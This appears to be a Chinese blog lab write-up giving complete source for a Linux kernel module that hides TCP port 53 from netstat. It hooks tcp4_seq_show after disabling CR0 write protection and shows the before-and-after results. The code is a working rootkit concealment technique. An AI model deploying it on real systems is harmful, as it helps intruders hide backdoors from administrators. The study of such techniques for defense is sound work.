linux系统调用劫持(隐藏端口)

一、实验目的

修改linux内核读取tcp端口所使用的函数调用tcp4_seq_show,让其指向自己的函数,用于隐藏指定的端口号。
使用的linux内核版本如下:
在这里插入图片描述

二、实验代码

#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/kernel.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/seq_file.h>

MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Access non-exported symbols");
MODULE_AUTHOR("Tzyy");

#define TMPSZ 150
#define PORT_TO_HIDE 53	//想要隐藏的目标端口

struct seq_operations *tcp4_seq_ops_ptr = NULL;
typedef int (*tcp4_seq_show_ptr) (struct seq_file *m, void *v);
tcp4_seq_show_ptr old_tcp4_seq_show = NULL;
tcp4_seq_show_ptr tmp = NULL;

int my_tcp4_seq_show(struct seq_file *seq, void *v)
{
	printk("System call inerception strated!\n");
	
	int old_val = (*old_tcp4_seq_show) (seq, v);
	char port[12];
	sprintf(port,"%04X",PORT_TO_HIDE);
	if(strnstr(seq->buf+seq->count-TMPSZ,port,TMPSZ)) {
		seq->count -= TMPSZ;
	}
	
	printk("Hack completed!\n");
	return old_val;
}

static inline void write_cr0_forced(unsigned long val)
{
    unsigned long __force_order;

    /* __asm__ __volatile__( */
    asm volatile(
        "mov %0, %%cr0"
        : "+r"(val), "+m"(__force_order));
}

static inline void protect_memory(void)
{
    unsigned long cr0 = read_cr0();
    write_cr0_forced(cr0);
}

static inline void unprotect_memory(void)
{
    unsigned long cr0 = read_cr0();
    write_cr0_forced(cr0 & ~0x00010000);
}

static int __init lkm_init(void)
{
    unsigned long _tcp4_seq_show = kallsyms_lookup_name("tcp4_seq_show");

	//获得tcp4_seq_ops函数指针,用于之后将读取tcp端口的tcp4_seq_show修改成指向自己的定义的函数 
	tcp4_seq_ops_ptr = (struct seq_operations *) kallsyms_lookup_name("tcp4_seq_ops");
	old_tcp4_seq_show = (tcp4_seq_show_ptr) kallsyms_lookup_name("tcp4_seq_show");

	if(!_tcp4_seq_show){
		printk("Can't get address of tcp4_seq_show\n");
		return 0;	
	} 
	
	//打印tcp4_seq_show的内存地址
	printk(KERN_INFO "[%s] tcp4_seq_show (0x%lx)\n", __this_module.name, _tcp4_seq_show);
	printk("Let's hack it!\n");
	
	//修改tcp4_seq_ops所引用的show函数为自己的函数
	if (old_tcp4_seq_show != NULL){	
		unprotect_memory();
		tcp4_seq_ops_ptr->show = (tcp4_seq_show_ptr)(&my_tcp4_seq_show);
		protect_memory();
	}

	return 0;
}


//在卸载模块的时候,将tcp4_seq_ops指向的show函数改回原来的函数
static void __exit lkm_exit(void)
{
	unprotect_memory();
	tcp4_seq_ops_ptr->show = old_tcp4_seq_show;
	protect_memory();
}

module_init(lkm_init);
module_exit(lkm_exit);

三、实验结果

使用 sudo netstat -tnlp | grep :53可以查找到目标端口53
在这里插入图片描述
将编译好的内核模块插入内核
在这里插入图片描述
再次查找就已经无法找到了
在这里插入图片描述
输入dmesg可以看到LKM运行信息
在这里插入图片描述
输入sudo rmmod port_hide移除内核模块后再次查找,又可以重新找到了
在这里插入图片描述

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值